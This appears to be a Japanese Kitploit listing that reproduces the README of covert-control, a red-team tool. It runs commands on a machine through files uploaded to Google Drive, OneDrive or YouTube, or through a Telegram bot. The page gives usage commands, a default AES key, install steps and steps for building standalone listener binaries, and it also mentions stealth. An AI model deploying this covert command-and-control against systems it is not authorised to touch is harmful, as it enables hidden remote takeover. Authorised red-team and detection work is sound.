Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
covert-control — Google Drive、OneDrive、YouTubeを隠れチャネルとして利用 - Google Drive、OneDrive、YouTube、Telegramにファイルをアップロードしてリモートからシステムを制御 | Kitploit
ツール/GitHubGitHub/ricardojoserf/covert-control
暗号化/復号化ツールデータ流出ポストエクスプロイトコマンド&コントロールレッドチーミング
GitHubricardojoserf/covert-control

covert-control

Google Drive、OneDrive、YouTubeを隠れチャネルとして利用 - Google Drive、OneDrive、YouTube、Telegramにファイルをアップロードしてリモートからシステムを制御

リポジトリを見る
7184年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

covert-control

ファイルをGoogle Drive、OneDrive、YouTube、またはTelegramにアップロードすることで、リモートからシステムを制御します。Pythonを使用してファイルとリスナーを作成します。テキストファイル、画像、音声、または動画を作成でき、コマンドは平文またはAESで暗号化して指定できます。

  • covert-googledrive.py - Google Driveの公開フォルダにファイルをアップロードしてシステムを制御します。

  • covert-onedrive.py - OneDriveの公開フォルダにファイルをアップロードしてシステムを制御します。

  • covert-youtube.py - Youtubeに動画をアップロードしてシステムを制御します(covert-tubeから更新)。

  • covert-telegram.py - Telegramボットでシステムを制御します。

アップロードするファイルの作成

サンプルファイルはフォルダ test_files にあります。または generate_file.py で新しいファイルを作成できます:

root@kitploit:~
python3 generate_file.py -t TYPE [-o OUTPUTFILE] [-c COMMAND] [-e]
  • -t (--type) [必須]: ファイルの種類: "text", "image", "audio" または "video"。

  • -o (--outputfile) [任意]: 出力ファイル。

  • -c (--command) [任意]: 実行するコマンド。

  • -e (--encrypted) [任意]: このフラグを追加してコマンドをAESで暗号化します。

例:

root@kitploit:~
python3 generate_file.py -t text  -c "whoami" -o text.txt
python3 generate_file.py -t text  -c "whoami" -o text_encrypted.txt -e
python3 generate_file.py -t audio -c "whoami" -o audio.wav
python3 generate_file.py -t audio -c "whoami" -o audio_encrypted.wav -e
python3 generate_file.py -t image -c "whoami" -o image.png
python3 generate_file.py -t image -c "whoami" -o image_encrypted.png -e
python3 generate_file.py -t video -c "whoami" -o video.avi
python3 generate_file.py -t video -c "whoami" -o video_encrypted.avi -e

設定

共通設定値:

  • data_type (任意。デフォルト: "text"):

個別設定値:

  • googledrive_folder: 監視するGoogle Driveの公開フォルダのURL (covert-googledrive.py用)。

  • onedrive_folder: 監視するOneDriveの公開フォルダのURL (covert-onedrive.py用)。

  • youtube_channel_id: 監視するYoutubeチャンネルのチャンネルID。こちらから取得できます (covert-youtube.py用)。

  • youtube_api_key: こちらでアプリケーションを作成しキーを生成してAPIキーを取得します (covert-youtube.py用)。

  • telegram_token: ボットトークン。BotFatherを使用して作成します。「/newbot」と入力し、ボットの名前(例:"botname")と、"-bot"で終わるユーザー名(例:"somethingrandombot")を送信します (covert-telegram.py用)。

  • telegram_username: Telegramのユーザー名を指定します。このユーザーからのコマンドのみ実行します("@"なし)。


Google Drive

テキストファイル、画像、音声、動画を(暗号化なしまたはAESで暗号化して)アップロードすることでコマンドを実行できます。オプションの入力引数は公開フォルダのURLで、config.pyでも設定可能です:

root@kitploit:~
python3 covert-googledrive.py [FOLDER_URL]

リスナーはデフォルトで300秒ごとにGoogle Driveフォルダをチェックします(config.pyで更新可能)。この例では、動画 "video.avi" がアップロードされ、動画のQRコードにコマンドが含まれています:

img1

フォルダに新しいファイルがアップロードされたことを検出すると、ダウンロード、処理され、コマンドが実行されます:

img2


Onedrive

テキストファイル、画像、音声、動画を(暗号化なしまたはAESで暗号化して)アップロードすることでコマンドを実行できます。オプションの入力引数は公開フォルダのURLで、config.pyでも設定可能です:

root@kitploit:~
python3 covert-onedrive.py [FOLDER_URL]

リスナーはデフォルトで300秒ごとにOneDriveフォルダをチェックします(config.pyで更新可能)。この例では、音声 "audio_encrypted.wav" がアップロードされ、コマンドがAESで暗号化されています:

img3

フォルダに新しいファイルがアップロードされたことを検出すると、ダウンロード、処理され、コマンドが実行されます:

img4

注意: この機能はフォルダ内のファイルを削除しない場合のみ動作します。削除した場合は新しいフォルダを作成する必要があります。削除後も動作するように実装することは可能ですが、多くのリクエストが必要になり、ステルス性が低下します。


Youtube

動画を(暗号化なしまたはAESで暗号化して)アップロードすることでコマンドを実行できます。オプションの入力引数は監視するYoutubeチャンネルIDとAPIキーで、config.pyでも設定可能です:

root@kitploit:~
python3 covert-youtube.py [CHANNEL_ID] [API_KEY]

リスナーはデフォルトで300秒ごとにYoutubeチャンネルをチェックします(config.pyで更新可能)。まず動画がアップロードされます:

img5

チャンネルに新しい動画があることを検出すると、ダウンロード、処理され、コマンドが実行されます:

img6


Telegram

Telegramボットでリモートからシステムを制御します。このオプションではファイルのアップロードはできませんが、コマンドを平文("/cmd")またはAESで暗号化して("/encrypted")送信できます。最初のオプション引数はボットトークンで、config.pyでも設定可能です。2番目の引数は、ボットにコマンドを送信できるTelegramユーザーを指定するために使用します("@"なし):

root@kitploit:~
python3 covert-telegram.py [BOT_TOKEN] [TELEGRAM_USER]

リスナーはチャット内のコマンドをチェックし、出力を表示します:

root@kitploit:~
/cmd CLEARTEXT_COMMAND
/encrypted AES_ENCRYPTED_COMMAND

img7


インストール

root@kitploit:~
sudo apt install libzbar0
pip install bs4 Pillow opencv-python pyqrcode pypng pyzbar youtube_dl pytesseract python-telegram-bot requests argparse pycryptodome
git clone https://github.com/ricardojoserf/covert-control && cd covert-control/

スタンドアロンバイナリの作成

root@kitploit:~
pyinstaller --onefile covert-googledrive.py
pyinstaller --onefile covert-onedrive.py
pyinstaller --onefile covert-telegram.py
pyinstaller --onefile covert-youtube.py
rm -rf build
rm *spec
ls dist/
ツールをダウンロード
data_typeファイルの種類暗号化対応サービス拡張子
textテキストファイルなしGoogle Drive, OneDrive.txt
text_encryptedテキストファイルありGoogle Drive, OneDrive.txt
image画像なしGoogle Drive, OneDrive.png
image_encrypted画像ありGoogle Drive, OneDrive.png
audio音声なしGoogle Drive, OneDrive.wav
audio_encrypted音声ありGoogle Drive, OneDrive.wav
video動画なしGoogle Drive, OneDrive, Youtube.avi
video_encrypted動画ありGoogle Drive, OneDrive, Youtube.avi
  • delay_seconds (任意。デフォルト: 300): Google DriveまたはOneDriveフォルダへの新しいファイルのアップロード、またはYoutubeチャンネルの新しい動画のチェック間隔(秒)。

  • aes_key (任意。デフォルト: "covert-control21"): AES暗号化の鍵。

  • debug (任意。デフォルト: True): リスナーでメッセージとタイムスタンプを出力するかどうか。